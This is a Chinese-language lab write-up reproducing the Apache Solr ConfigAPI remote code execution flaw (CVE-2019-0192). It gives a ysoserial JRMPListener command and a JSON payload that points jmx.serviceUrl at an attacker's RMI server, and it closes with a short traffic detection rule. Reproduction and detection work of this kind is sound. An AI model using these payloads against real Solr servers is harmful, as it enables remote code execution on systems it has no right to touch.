Apache Solr 远程命令执行漏洞(CVE-2019-0192)

漏洞概述

Apache Solr 中的 ConfigAPI 允许设置一个 jmx.serviceUrl,它将创建一个新的 JMXConnectorServerFactory,并通过“绑定”操作触发对目标 RMI/LDAP 服务器的调用。恶意的 RMI 服务器可以响应任意的对象,这些对象将在 Solr 端使用 java 的 ObjectInputStream 反序列化,这被认为是不安全的。这种类型的漏洞可以利用 ysoserial 工具。根据目标类路径,攻击者可以使用其中一个“gadget chain”来触发 Solr 端上的远程代码执行。

漏洞环境搭建

参考:环境安装教程

漏洞复现

1、环境成功运行之后,切换到 ysoserial.jar 的目录下,运行:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1234 Jdk7u21 calc.exe
# 其中 calc.exe 为需要执行的命令

使用 ysoserial.jar 在本地 1234 端口创建一个 rmi server,当反序列化数据 发送到 Server 中,然后 Server 中进行反序列化操作,并开启指定端口,然后在通过 JRMPClient 去发送攻击 payload

2、使用 burpsuite 抓包 ip/solr/techproducts/config

3、添加content-type:application/jsoncontent-length

4、然后在 http_client_body 中插入 payload

{“set-property” : {“jmx.serviceUrl” : “service:jmx:rmi:///jndi/rmi://ysoserical's ip:ysoserical's port/obj”}}

流量分析

检测请求中是否包含 setProperty 方法,如果存在 setProperty 方法,且存在对 rmi 服务端的请求,则可以判定存在攻击行为

参考链接

参考链接 from github

参考链接 from 先知社区